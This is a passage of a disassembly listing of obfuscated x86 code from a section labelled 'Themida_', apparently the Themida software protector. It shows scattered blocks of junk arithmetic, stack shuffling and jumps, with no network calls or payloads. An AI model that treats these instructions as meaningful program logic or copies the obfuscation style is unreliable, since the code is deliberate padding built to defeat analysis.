loc_55EB8D: ; CODE XREF: Themida_:00568CD6j
add eax, 4
jmp loc_56D4E8
; ---------------------------------------------------------------------------
loc_55EB97: ; CODE XREF: Themida_:0056FB14j
pop esp
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
bt [esp], eax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_55EBB0: ; CODE XREF: Themida_:005655DEj
pop small word ptr [esp]
add word ptr [esp], 2
pop small word ptr [esp]
push small 56B1h
mov [esp], si
push ecx
mov cx, 901h
push eax
mov ax, 0F701h
mov si, ax
pop eax
add si, 1335h
sub si, 7968h
add si, cx
add si, 7968h
push ebx
mov bx, 85Ah
jmp loc_565F20
; ---------------------------------------------------------------------------
loc_55EBEF: ; CODE XREF: Themida_:00568EA7j
mov edi, ebp
pop ebp
add eax, 55FF2D01h
sub eax, 42283EEFh
add eax, 2C1F3A90h
jmp loc_5723E7
; ---------------------------------------------------------------------------
loc_55EC06: ; CODE XREF: Themida_:0056C527j
mov ebx, 85645Dh
mov edi, 6B263988h
jmp loc_5695EC
; ---------------------------------------------------------------------------
loc_55EC15: ; CODE XREF: Themida_:0056D138j
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_55EC1A: ; CODE XREF: Themida_:00566924j
sub esi, 166119B9h
add esi, ecx
jmp loc_571504
; ---------------------------------------------------------------------------
loc_55EC27: ; CODE XREF: Themida_:0056C56Aj
mov ebx, 4
add ebp, ebx
pop ebx
jmp loc_56DA9F
; ---------------------------------------------------------------------------
loc_55EC34: ; CODE XREF: Themida_:00563663j
mov esi, 6EB860ACh
or esi, 4E060BD3h
jmp loc_55EFBA
; ---------------------------------------------------------------------------
loc_55EC44: ; CODE XREF: Themida_:0055DADDj
xor edx, esi
pop esi
sub ebp, edx
pop edx
push edi
mov edi, 3D9D128Dh
add ebp, edi
pop edi
add ebp, eax
sub ebp, 3D9D128Dh
add ebp, 405842EBh
jmp loc_56748C
; ---------------------------------------------------------------------------
loc_55EC66: ; CODE XREF: Themida_:0056A88Dj
push eax
push ecx
push 27C73AA6h
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
dec ecx
push eax
mov eax, 71F604A5h
jmp loc_56ABC5
; ---------------------------------------------------------------------------
loc_55EC88: ; CODE XREF: Themida_:005670E6j
pop ecx
mov esi, edi
mov edi, [esp]
add esp, 4
jmp loc_565B23
; ---------------------------------------------------------------------------
loc_55EC99: ; CODE XREF: Themida_:0056D1E7j
sub edx, 2
xchg edx, [esp]
mov esp, [esp]
jmp loc_5702D2
; ---------------------------------------------------------------------------
loc_55ECAA: ; CODE XREF: Themida_:005695EEj
pop ebx
shr edi, 7
and edi, 39C76D80h
push edi
jmp loc_56CBED
; ---------------------------------------------------------------------------
loc_55ECBA: ; CODE XREF: Themida_:00560A89j
mov eax, 2CD20C94h
add edx, eax
pop eax
add edx, edi
push ebp
mov ebp, 2CD20C94h
sub edx, ebp
pop ebp
sub esp, 4
jmp loc_566161
; ---------------------------------------------------------------------------
loc_55ECD8: ; CODE XREF: Themida_:0056DD73j
not edi
add edi, 5E6F6801h
mov ebx, edi
jmp loc_55D57A
; ---------------------------------------------------------------------------
loc_55ECE7: ; CODE XREF: Themida_:0056BB97j
sub eax, 222E254Ah
jmp loc_55E8E6
; ---------------------------------------------------------------------------
loc_55ECF1: ; CODE XREF: Themida_:005626D1j
push 1E7C57F0h
mov edx, [esp]
jmp loc_5653EA
; ---------------------------------------------------------------------------
loc_55ECFE: ; CODE XREF: Themida_:00564A04j
push ebp
jmp loc_560DE5
; ---------------------------------------------------------------------------
loc_55ED04: ; CODE XREF: Themida_:0056D8DAj
mov eax, esp
push edx
mov edx, 23755CABh
add edx, 0DC8AA359h
add eax, edx
pop edx
add eax, 4
jmp loc_571C7E
; ---------------------------------------------------------------------------
loc_55ED1F: ; CODE XREF: Themida_:00569B4Aj
add esp, 4
push esi
push 1787h
push 371Ch
push esp
jmp loc_56F3EC
; ---------------------------------------------------------------------------
loc_55ED33: ; CODE XREF: Themida_:00568530j
push 2972h
mov [esp], edi
mov edi, 56270417h
or ecx, edi
jmp loc_55D99D
; ---------------------------------------------------------------------------
loc_55ED47: ; CODE XREF: Themida_:00572114j
pop ebx
sub edx, 4D243466h
add edx, 690D0B47h
add edx, ecx
jmp loc_55FF54
; ---------------------------------------------------------------------------
loc_55ED5B: ; CODE XREF: Themida_:00562C33j
add esi, eax
sub esi, 7403140Bh
mov eax, [esp]
push ebp
mov ebp, esp
jmp loc_56C7D1
; ---------------------------------------------------------------------------
loc_55ED6E: ; CODE XREF: Themida_:005674D7j
mov [esp], esp
add dword ptr [esp], 4
jmp loc_564702
; ---------------------------------------------------------------------------
loc_55ED7D: ; CODE XREF: Themida_:0056D83Ej
pop esp
mov [esp], esi
not dword ptr [esp]
pop esi
jmp loc_55EA84
; ---------------------------------------------------------------------------
loc_55ED8A: ; CODE XREF: Themida_:0055F704j
add eax, ebx
pop ebx
push 34C6h
mov [esp], ebp
mov ebp, 47722C24h
push ebx
jmp loc_56DE88
; ---------------------------------------------------------------------------
loc_55EDA0: ; CODE XREF: Themida_:00571E99j
push edi
push edi
mov edi, esp
add edi, 4
push esi
mov esi, 4
jmp loc_5698C6
; ---------------------------------------------------------------------------
loc_55EDB5: ; CODE XREF: Themida_:0056F8A1j
mov eax, 3B7D2636h
jmp loc_56081F
; ---------------------------------------------------------------------------
loc_55EDBF: ; CODE XREF: Themida_:0056C767j
sub bh, ch
jmp loc_564BBE
; ---------------------------------------------------------------------------
loc_55EDC6: ; CODE XREF: Themida_:0056C7FBj
mov ebx, 4
jmp loc_565CD8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DB3D
loc_55EDD0: ; CODE XREF: sub_59DB3D-31B8Aj
add eax, 2
xchg eax, [esp+2Ch+var_2C]
pop esp
jmp sub_571676
; END OF FUNCTION CHUNK FOR sub_59DB3D
; ---------------------------------------------------------------------------
loc_55EDDE: ; CODE XREF: Themida_:00568E55j
push edx
mov edx, 427B7BA4h
sub eax, edx
pop edx
add eax, edx
add eax, 427B7BA4h
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5696C4
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
mov edx, esp
push ecx
mov ecx, 4
add edx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_57012A
; ---------------------------------------------------------------------------
loc_55EE16: ; CODE XREF: Themida_:00571A8Aj
xchg eax, [esp]
pop esp
sub esp, 4
mov [esp], ebx
mov bl, 0B8h
dec bl
jmp loc_57004B
; ---------------------------------------------------------------------------
loc_55EE2C: ; CODE XREF: Themida_:0056A5CFj
mov ebp, 30133819h
jmp loc_56C129
; ---------------------------------------------------------------------------
loc_55EE36: ; CODE XREF: Themida_:0056AE27j
sub esi, 74D440B1h
jmp loc_55FD1F
; ---------------------------------------------------------------------------
loc_55EE41: ; CODE XREF: Themida_:00567520j
sub bh, dl
pop edx
jmp loc_566894
; ---------------------------------------------------------------------------
loc_55EE49: ; CODE XREF: Themida_:005655B5j
add esi, ebp
push ebx
mov ebx, 324D27ACh
add ebx, 0F9CE1A76h
add esi, ebx
mov ebx, [esp]
add esp, 4
jmp loc_56F9D9
; ---------------------------------------------------------------------------
loc_55EE64: ; CODE XREF: Themida_:0056E96Bj
dec eax
sub eax, 5135456Ah
add ecx, eax
pop eax
jmp loc_562377
; ---------------------------------------------------------------------------
loc_55EE72: ; CODE XREF: Themida_:005662DDj
add ecx, 30245DD1h
pop edx
inc ecx
jmp loc_55F233
; ---------------------------------------------------------------------------
loc_55EE7F: ; CODE XREF: Themida_:0056F693j
mov eax, [esp]
push esi
mov esi, esp
jmp loc_56F059
; ---------------------------------------------------------------------------
loc_55EE8A: ; CODE XREF: Themida_:0056E36Bj
mov esi, 121D7FD4h
xor ebx, esi
pop esi
not ebx
xor ebx, 59C60A82h
xor ebx, 0E607E07Dh
add esi, ebx
pop ebx
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push 4D8Eh
mov [esp], eax
push ecx
push ebp
jmp loc_56FD3C
; ---------------------------------------------------------------------------
loc_55EEC6: ; CODE XREF: Themida_:005650DBj
add ecx, 4
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
add eax, 1
add eax, 29DC53E4h
jmp loc_569357
; ---------------------------------------------------------------------------
loc_55EEE7: ; CODE XREF: Themida_:0056EA20j
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
push ecx
mov ecx, 4
add ebp, ecx
jmp loc_5607CE
; ---------------------------------------------------------------------------
loc_55EEFE: ; CODE XREF: Themida_:00569402j
push esp
pop dword ptr [esp]
push edx
push 4
pop edx
add [esp+4], edx
mov edx, [esp]
add esp, 4
push dword ptr [esp]
jmp loc_56C13A
; ---------------------------------------------------------------------------
loc_55EF1E: ; CODE XREF: Themida_:0057050Bj
pop ebx
add ebx, 4
push eax
push ebp
mov ebp, 4DB7439Fh
jmp loc_564086
; ---------------------------------------------------------------------------
loc_55EF31: ; CODE XREF: Themida_:0055D32Fj
mov edx, 462D5F62h
jmp loc_563F99
; ---------------------------------------------------------------------------
loc_55EF3B: ; CODE XREF: Themida_:00568CCBj
pop ecx
sub ebp, 40964D6Bh
add ebp, esi
add ebp, 40964D6Bh
pop esi
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
add eax, 1E446A67h
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_55EF5E: ; CODE XREF: Themida_:005703ACj
add esi, 4
xchg esi, [esp]
pop esp
sub eax, 7C36103Fh
add ecx, eax
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_561246
; ---------------------------------------------------------------------------
loc_55EF7D: ; CODE XREF: Themida_:00569D02j
push ebx
mov ebx, 58A30BB5h
jmp loc_56DB3F
; ---------------------------------------------------------------------------
loc_55EF88: ; CODE XREF: Themida_:00567554j
xor [esp], ebp
xor ebp, [esp]
jmp loc_560C63
; ---------------------------------------------------------------------------
loc_55EF93: ; CODE XREF: Themida_:0055DAE7j
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_56A99B
; ---------------------------------------------------------------------------
lodsb
jmp loc_564FCA
; ---------------------------------------------------------------------------
loc_55EFA5: ; CODE XREF: Themida_:00570581j
pop edi
xor ecx, [esp]
xor [esp], ecx
jmp loc_55DC98
; ---------------------------------------------------------------------------
loc_55EFB1: ; CODE XREF: Themida_:00567EEBj
xchg edi, [esp]
pop esp
jmp loc_56130A
; ---------------------------------------------------------------------------
loc_55EFBA: ; CODE XREF: Themida_:0055EC3Fj
inc esi
dec esi
jmp loc_55F40A
; ---------------------------------------------------------------------------
loc_55EFC1: ; CODE XREF: Themida_:005634ECj
push 4A9h
mov [esp], ebx
mov bh, 9Fh
shr bh, 8
inc bh
shr bh, 3
shl bh, 3
jmp loc_56B2C3
; ---------------------------------------------------------------------------
loc_55EFDB: ; CODE XREF: Themida_:00568ED0j
add dword ptr [esp], 4FAC4578h
pop edi
push edx
mov edx, 270447EAh
jmp loc_56BC82
; ---------------------------------------------------------------------------
loc_55EFEE: ; CODE XREF: Themida_:0056A66Cj
pop ebx
xor ebp, 0B3B2985h
not ebp
shr ebp, 3
push 6F5h
mov [esp], edi
push esi
jmp loc_567018
; ---------------------------------------------------------------------------
loc_55F008: ; CODE XREF: Themida_:00564178j
mov ebp, 29236692h
add esi, 15C30900h
sub esi, ebp
sub esi, 15C30900h
pop ebp
and eax, esi
pop esi
or edx, eax
shl edx, 1
sub esp, 4
jmp loc_563B98
; ---------------------------------------------------------------------------
loc_55F02B: ; CODE XREF: Themida_:005659DCj
push dword ptr [esp]
pop eax
add esp, 4
push 7642h
jmp loc_563716
; ---------------------------------------------------------------------------
loc_55F03F: ; CODE XREF: Themida_:005725FEj
mov edx, 2C2C11B6h
and edx, 1FB96B7Eh
shl edx, 2
jmp loc_56C355
; ---------------------------------------------------------------------------
loc_55F052: ; CODE XREF: Themida_:00568F83j
add ebp, 4
push edi
mov edi, 4
sub ebp, edi
pop edi
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
jmp loc_56DCF4
; ---------------------------------------------------------------------------
loc_55F072: ; CODE XREF: Themida_:0056CA51j
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_56F9F1
; ---------------------------------------------------------------------------
loc_55F08C: ; CODE XREF: Themida_:0056D65Dj
sub eax, edx
jmp loc_55E0C7
; ---------------------------------------------------------------------------
loc_55F093: ; CODE XREF: Themida_:0056A1BFj
pop ebx
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
push esp
pop ecx
jmp loc_56EE45
; ---------------------------------------------------------------------------
loc_55F0AA: ; CODE XREF: Themida_:0056E825j
mov ebx, 20887491h
sub ebx, 0E1716289h
neg ebx
jmp loc_564793
; ---------------------------------------------------------------------------
loc_55F0BC: ; CODE XREF: Themida_:00561BFAj
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
xor [esp], edx
xor edx, [esp]
xor [esp], edx
mov ecx, [esp]
add esp, 4
xor [esp], ecx
xor ecx, [esp]
xor [esp], ecx
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_55F0E7: ; CODE XREF: Themida_:005600E4j
add ebp, 61926375h
sub ebp, 63871DDh
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
jmp loc_56970B
; ---------------------------------------------------------------------------
loc_55F104: ; CODE XREF: Themida_:00565FE2j
push 7A7Eh
mov [esp], edi
jmp loc_566C4D
; ---------------------------------------------------------------------------
loc_55F111: ; CODE XREF: Themida_:00564E03j
pop edi
or eax, edi
pop edi
jmp loc_56C1CC
; ---------------------------------------------------------------------------
loc_55F11A: ; CODE XREF: Themida_:00572609j
neg esi
sub esi, 170A71B7h
add esi, 1716929Ah
add ebx, esi
pop esi
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
shl word ptr [esp], cl
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_55F141: ; CODE XREF: Themida_:00572703j
add esp, 4
push 0
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
pop ebx
add esp, 4
push 5FF9h
mov [esp], ebx
jmp loc_56BFA5
; ---------------------------------------------------------------------------
loc_55F166: ; CODE XREF: Themida_:005702F6j
xchg ecx, [esp]
jmp loc_565D23
; ---------------------------------------------------------------------------
loc_55F16E: ; CODE XREF: Themida_:0055F8F5j
or edx, eax
shl edx, 1
push ecx
jmp loc_5633EE
; ---------------------------------------------------------------------------
loc_55F178: ; CODE XREF: Themida_:00562CB0j
dec cl
jmp loc_56AA7E
; ---------------------------------------------------------------------------
loc_55F17F: ; CODE XREF: Themida_:0056EEF8j
shl byte ptr [esp], cl
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_55F188: ; CODE XREF: Themida_:0055D7CCj
mov bh, 31h
add ch, bh
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push edx
mov dl, ch
push ecx
mov ch, dl
push eax
mov al, ch
mov bl, al
pop eax
mov ecx, [esp]
jmp loc_55D372
; ---------------------------------------------------------------------------
loc_55F1BD: ; CODE XREF: Themida_:005707D4j
pop ebx
add ebp, 73C132EBh
sub ebp, edx
sub ebp, 73C132EBh
pop edx
jmp loc_5688A9
; ---------------------------------------------------------------------------
loc_55F1D2: ; CODE XREF: Themida_:0056F681j
push eax
push edi
jmp loc_568B28
; ---------------------------------------------------------------------------
loc_55F1D9: ; CODE XREF: Themida_:005614A2j
pop esi
jmp loc_55E3DE
; ---------------------------------------------------------------------------
loc_55F1DF: ; CODE XREF: Themida_:005726A7j
add ebx, edx
mov edx, [esp]
add esp, 4
pop eax
mov dx, [esp]
jmp loc_5725F4
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_56A428
; ---------------------------------------------------------------------------
loc_55F1FD: ; CODE XREF: Themida_:0056EE96j
add ebp, 0FB2128A2h
mov edx, ebp
jmp loc_564A03
; ---------------------------------------------------------------------------
loc_55F20A: ; CODE XREF: Themida_:0056ECF2j
push edx
jmp loc_56B0BD
; ---------------------------------------------------------------------------
loc_55F210: ; CODE XREF: Themida_:00569052j
sub ebx, 14EF1070h
add ebx, ebp
push edi
jmp loc_569503
; ---------------------------------------------------------------------------
loc_55F21E: ; CODE XREF: Themida_:005629B4j
mov ecx, ebp
mov ebp, [esp]
add esp, 4
push 78A2h
jmp loc_5665F4
; ---------------------------------------------------------------------------
loc_55F233: ; CODE XREF: Themida_:0055EE7Aj
xchg esi, ecx
jmp loc_55FD33
; ---------------------------------------------------------------------------
loc_55F23A: ; CODE XREF: Themida_:00563EE3j
sub ax, di
pop edi
mov si, [esp]
add esp, 2
sub esp, 4
jmp loc_567BA8
; ---------------------------------------------------------------------------
loc_55F250: ; CODE XREF: Themida_:0056F17Fj
push dword ptr [esp]
pop eax
push edx
push esp
pop edx
push ecx
mov ecx, 4
jmp loc_569F5A
; ---------------------------------------------------------------------------
loc_55F262: ; CODE XREF: Themida_:0055DDC0j
push dword ptr [esp]
pop edi
add esp, 4
xchg eax, edi
jmp loc_56A076
; ---------------------------------------------------------------------------
loc_55F272: ; CODE XREF: Themida_:005607A8j
pop ebx
add ebx, 4
add ebx, 4
jmp loc_564133
; ---------------------------------------------------------------------------
loc_55F281: ; CODE XREF: Themida_:0056AD3Aj
mov bl, 3Eh
shr bl, 1
or bl, 97h
xor bl, 12h
shr bl, 7
add bl, 99h
sub ah, bl
pop ebx
mov cl, 0ACh
sub cl, 0F4h
jmp loc_56E620
; ---------------------------------------------------------------------------
loc_55F29E: ; CODE XREF: Themida_:0056B73Cj
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
sub esp, 4
mov [esp], ebx
push ebp
mov ebp, 6879111Fh
or ebp, 5AB17E23h
jmp loc_55D760
; ---------------------------------------------------------------------------
loc_55F2C4: ; CODE XREF: Themida_:00561F65j
push 60980876h
jmp loc_56AA31
; ---------------------------------------------------------------------------
loc_55F2CE: ; CODE XREF: Themida_:005694C2j
add esp, 4
dec ebx
shl ebx, 5
add ebx, 4DEB595h
add edx, ebx
pop ebx
jmp loc_55E3C6
; ---------------------------------------------------------------------------
dw 2489h
dd 4EC8324h, 0E9242C89h, 0D90Ah
; ---------------------------------------------------------------------------
loc_55F2F4: ; CODE XREF: Themida_:00568F08j
neg ecx
shr ecx, 7
inc ecx
add ecx, 0DECC474Eh
jmp loc_5656C0
; ---------------------------------------------------------------------------
loc_55F305: ; CODE XREF: Themida_:00567AD5j
xchg edx, [esp]
jmp loc_55D9C6
; ---------------------------------------------------------------------------
loc_55F30D: ; CODE XREF: Themida_:00560E3Dj
mov esp, [esp]
mov [esp], edx
push ebx
jmp loc_562108
; ---------------------------------------------------------------------------
loc_55F319: ; CODE XREF: Themida_:0056A9A7j
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
pop dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
pop edx
jmp loc_565239
; ---------------------------------------------------------------------------
loc_55F338: ; CODE XREF: Themida_:0056BEB7j
pop ebx
xchg ebp, [esp]
pop esp
mov [esp], edi
push 76A814F0h
pop edi
jmp loc_56D4DA
; ---------------------------------------------------------------------------
loc_55F34B: ; CODE XREF: Themida_:0056745Fj
pop eax
push eax
jmp loc_570D06
; ---------------------------------------------------------------------------
loc_55F352: ; CODE XREF: Themida_:00561E5Fj
mov eax, 9AFB9AE4h
add eax, esi
pop esi
sub esp, 4
mov [esp], ecx
push edx
mov edx, 58D62716h
jmp loc_569646
; ---------------------------------------------------------------------------
loc_55F36E: ; CODE XREF: Themida_:005670ACj
add eax, 4A9527BBh
sub eax, 74131809h
jmp loc_560402
; ---------------------------------------------------------------------------
loc_55F37D: ; CODE XREF: Themida_:005729ACj
push esi
push 325h
mov [esp], edi
jmp loc_56637A
; ---------------------------------------------------------------------------
loc_55F38B: ; CODE XREF: Themida_:0056F66Aj
add esi, edi
pop edi
xor esi, 236E6FB9h
add edx, esi
pop esi
jmp loc_566547
; ---------------------------------------------------------------------------
loc_55F39C: ; CODE XREF: Themida_:005700BCj
add esi, 0E7496F7Ah
sub edi, esi
pop esi
push eax
push 127E3A6Bh
pop eax
xor eax, 72A327B2h
sub edi, eax
jmp loc_56E797
; ---------------------------------------------------------------------------
loc_55F3B8: ; CODE XREF: Themida_:00572763j
mov eax, 5607A40h
jmp loc_564027
; ---------------------------------------------------------------------------
loc_55F3C2: ; CODE XREF: Themida_:0055D60Cj
pop edi
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_562CDA
; ---------------------------------------------------------------------------
loc_55F3D1: ; CODE XREF: Themida_:0056B081j
pop edi
jmp loc_565A5C
; ---------------------------------------------------------------------------
loc_55F3D7: ; CODE XREF: Themida_:00569C01j
push eax
jmp loc_55EB12
; ---------------------------------------------------------------------------
loc_55F3DD: ; CODE XREF: Themida_:0056BFADj
add ebx, 7F8A6F3Fh
jmp loc_55DDEB
; ---------------------------------------------------------------------------
loc_55F3E8: ; CODE XREF: Themida_:0056DF06j
pop ebp
push edx
mov edx, 6E857541h
and edx, 4EE44DDDh
shl edx, 6
jmp loc_56F56F
; ---------------------------------------------------------------------------
loc_55F3FD: ; CODE XREF: Themida_:00563F94j
add esp, 4
push 2862h
jmp loc_56215F
; ---------------------------------------------------------------------------
loc_55F40A: ; CODE XREF: Themida_:0055EFBCj
not esi
xor esi, 0F0002465h
mov edi, esi
pop esi
jmp loc_55D5DE
; ---------------------------------------------------------------------------
loc_55F41A: ; CODE XREF: Themida_:00570E71j
add ebx, eax
pop eax
jmp loc_55FC13
; ---------------------------------------------------------------------------
loc_55F422: ; CODE XREF: Themida_:0056B156j
mov [esp], ebx
mov bh, 7Dh
push 433Ah
mov [esp], eax
mov ah, bh
jmp loc_56CAC1
; ---------------------------------------------------------------------------
loc_55F436: ; CODE XREF: Themida_:00560CECj
sub eax, 2DB044C6h
add eax, 20AD30ECh
add eax, ecx
sub eax, 20AD30ECh
add eax, 2DB044C6h
pop ecx
xor eax, [esp]
jmp loc_5728D5
; ---------------------------------------------------------------------------
loc_55F455: ; CODE XREF: Themida_:0055D3ACj
add esp, 4
add esp, 4
push 64EAh
mov [esp], ebx
push ax
push edx
push ecx
jmp loc_55EB4B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DB3D
loc_55F46F: ; CODE XREF: sub_59DB3D-40847j
add edi, 4
jmp loc_570B64
; END OF FUNCTION CHUNK FOR sub_59DB3D
; ---------------------------------------------------------------------------
loc_55F47A: ; CODE XREF: Themida_:00563E45j
push ebx
sub esp, 4
jmp loc_56080E
; ---------------------------------------------------------------------------
loc_55F486: ; CODE XREF: Themida_:00567994j
push ebx
jmp loc_572302
; ---------------------------------------------------------------------------
loc_55F48C: ; CODE XREF: Themida_:00565DCDj
push 4F947BBAh
mov ebx, [esp]
add esp, 4
shl ebx, 5
xor ebx, 0F5374366h
mov ecx, ebx
pop ebx
sub ebx, ecx
mov ecx, [esp]
add esp, 4
add ebx, 14780286h
sub esp, 4
mov [esp], esi
mov esi, 1A314554h
push ebx
mov ebx, 0EAC11924h
add esi, ebx
pop ebx
add ebx, 632D725Ch
sub ebx, esi
jmp loc_56EC66
; ---------------------------------------------------------------------------
loc_55F4D8: ; CODE XREF: Themida_:0056C393j
add edx, 49330072h
and edx, 3D39455Eh
jmp loc_57290A
; ---------------------------------------------------------------------------
loc_55F4E9: ; CODE XREF: Themida_:005686E9j
push dword ptr [esp+4]
mov edi, [esp]
jmp loc_56100C
; ---------------------------------------------------------------------------
loc_55F4F5: ; CODE XREF: Themida_:0055F932j
xor ebp, ecx
pop ecx
xor ebp, 624F644Ch
jmp loc_56FC79
; ---------------------------------------------------------------------------
loc_55F503: ; CODE XREF: Themida_:005632C6j
add ebx, eax
pop eax
push eax
push ebx
jmp loc_56C205
; ---------------------------------------------------------------------------
loc_55F50D: ; CODE XREF: Themida_:0056377Cj
push edx
jmp loc_562BAC
; ---------------------------------------------------------------------------
loc_55F513: ; CODE XREF: Themida_:00571AF9j
xor ebx, eax
sub esp, 4
mov [esp], edi
mov edi, 42657ECDh
add edx, edi
mov edi, [esp]
add esp, 4
push ebx
mov ebx, 37DE6718h
push ebp
mov ebp, 24C3031Fh
or ebx, ebp
pop ebp
xor ebx, 79A563FEh
dec ebx
add ebx, 0BC91250Fh
sub edx, ebx
jmp loc_56387C
; ---------------------------------------------------------------------------
loc_55F54B: ; CODE XREF: Themida_:0056B3F4j
push esp
jmp loc_56E618
; ---------------------------------------------------------------------------
loc_55F551: ; CODE XREF: Themida_:0056FD55j
mov dl, ah
push eax
mov ah, dl
sub esp, 4
jmp loc_5689AD
; ---------------------------------------------------------------------------
loc_55F561: ; CODE XREF: Themida_:005636E6j
push eax
mov ah, 0B2h
xor ah, 0DFh
mov ch, ah
pop eax
sub bl, ch
pop cx
jmp loc_564F21
; ---------------------------------------------------------------------------
loc_55F573: ; CODE XREF: Themida_:0056E7BCj
xchg edx, [esp]
pop esp
mov [esp], ebp
jmp loc_5621B7
; ---------------------------------------------------------------------------
loc_55F57F: ; CODE XREF: Themida_:00571CFEj
neg edx
sub edx, 0B0A49B4h
mov edi, edx
pop edx
jmp loc_56BE49
; ---------------------------------------------------------------------------
loc_55F58F: ; CODE XREF: Themida_:0057112Fj
add dword ptr [esp], 4
mov eax, [esp]
add esp, 4
add eax, 4
jmp loc_56B52B
; ---------------------------------------------------------------------------
loc_55F5A6: ; CODE XREF: Themida_:005700F0j
add al, dh
pop dx
jmp loc_55E403
; ---------------------------------------------------------------------------
loc_55F5AF: ; CODE XREF: Themida_:0056A244j
mov edx, esp
add edx, 4
add edx, 4
jmp loc_56F980
; ---------------------------------------------------------------------------
loc_55F5C2: ; CODE XREF: Themida_:0056B946j
mov [esp], esi
mov esi, 26B8635Bh
xor eax, esi
pop esi
sub eax, 50704561h
sub eax, 44432B59h
add eax, edi
push edi
jmp loc_56BA56
; ---------------------------------------------------------------------------
loc_55F5DF: ; CODE XREF: Themida_:00565D1Ej
and al, bh
jmp loc_560A6B
; ---------------------------------------------------------------------------
loc_55F5E6: ; CODE XREF: Themida_:0055E2F6j
sub esi, 4
jmp loc_56D51E
; ---------------------------------------------------------------------------
loc_55F5F1: ; CODE XREF: Themida_:00571C3Ej
mov ebx, 29E90925h
not ebx
shl ebx, 3
dec ebx
jmp loc_5719E6
; ---------------------------------------------------------------------------
loc_55F601: ; CODE XREF: Themida_:0055F6C5j
pop ebx
push ecx
jmp loc_56CE47
; ---------------------------------------------------------------------------
loc_55F608: ; CODE XREF: Themida_:0056C15Ej
pop ecx
jmp loc_56D121
; ---------------------------------------------------------------------------
loc_55F60E: ; CODE XREF: Themida_:00572905j
mov esi, 0D1DDFC80h
add edi, esi
mov esi, [esp]
jmp loc_55F6E7
; ---------------------------------------------------------------------------
loc_55F61D: ; CODE XREF: Themida_:0055DEDEj
add edx, ebp
pop ebp
push 5F41h
mov [esp], edi
mov edi, 2
add edx, edi
mov edi, [esp]
push edx
jmp loc_56EBB5
; ---------------------------------------------------------------------------
loc_55F638: ; CODE XREF: Themida_:0056378Aj
add esp, 4
sub dword ptr [esp+4], 59FF69A1h
add dword ptr [esp+4], 5EF37C5Dh
add [esp+4], eax
sub dword ptr [esp+4], 5EF37C5Dh
add dword ptr [esp+4], 59FF69A1h
pop eax
mov eax, [esp]
jmp loc_57008E
; ---------------------------------------------------------------------------
loc_55F66B: ; CODE XREF: Themida_:00572A4Bj
push edx
jmp loc_567CDA
; ---------------------------------------------------------------------------
loc_55F671: ; CODE XREF: Themida_:005634C4j
push edx
mov edx, 1BAD00F3h
sub ebx, edx
pop edx
xor ebx, 77FA189Fh
push 7295h
mov [esp], edi
mov edi, 0F27F52A5h
xor ebx, edi
pop edi
xor edx, ebx
mov ebx, [esp]
jmp loc_55DA3D
; ---------------------------------------------------------------------------
loc_55F69A: ; CODE XREF: Themida_:00571C56j
add bl, 0C3h
push ecx
mov ch, 0E1h
add bl, ch
jmp loc_566DD4
; ---------------------------------------------------------------------------
mov ax, [esp]
push eax
push esp
mov eax, [esp]
jmp loc_568C6B
; ---------------------------------------------------------------------------
loc_55F6B5: ; CODE XREF: Themida_:005654C0j
xor edi, [esp]
jmp loc_568A2E
; ---------------------------------------------------------------------------
loc_55F6BD: ; CODE XREF: Themida_:00562A7Fj
push ebx
mov ebx, 4
add edx, ebx
jmp loc_55F601
; ---------------------------------------------------------------------------
loc_55F6CA: ; CODE XREF: Themida_:00561483j
mov ebp, eax
pop eax
jmp loc_56A3B7
; ---------------------------------------------------------------------------
loc_55F6D2: ; CODE XREF: Themida_:0056AEC3j
mov [esp], ecx
mov ecx, esp
push eax
mov eax, 679E2BFDh
add eax, 9861D407h
jmp loc_564556
; ---------------------------------------------------------------------------
loc_55F6E7: ; CODE XREF: Themida_:0055F618j
add esp, 4
sub eax, 562D1357h
add eax, edi
add eax, 562D1357h
pop edi
add eax, esi
sub eax, 2FA57B1Ch
push ebx
mov ebx, 7381A14h
jmp loc_55ED8A
; ---------------------------------------------------------------------------
loc_55F709: ; CODE XREF: Themida_:005658A2j
add esp, 4
push 3FA4h
jmp loc_570FA6
; ---------------------------------------------------------------------------
loc_55F716: ; CODE XREF: Themida_:0056AAECj
add ebx, eax
pop eax
add ebx, edi
jmp loc_571748
; ---------------------------------------------------------------------------
loc_55F720: ; CODE XREF: Themida_:0055FA03j
and esi, 1DE90296h
or esi, 238D207Eh
add esi, 0DC72DD06h
add ebx, esi
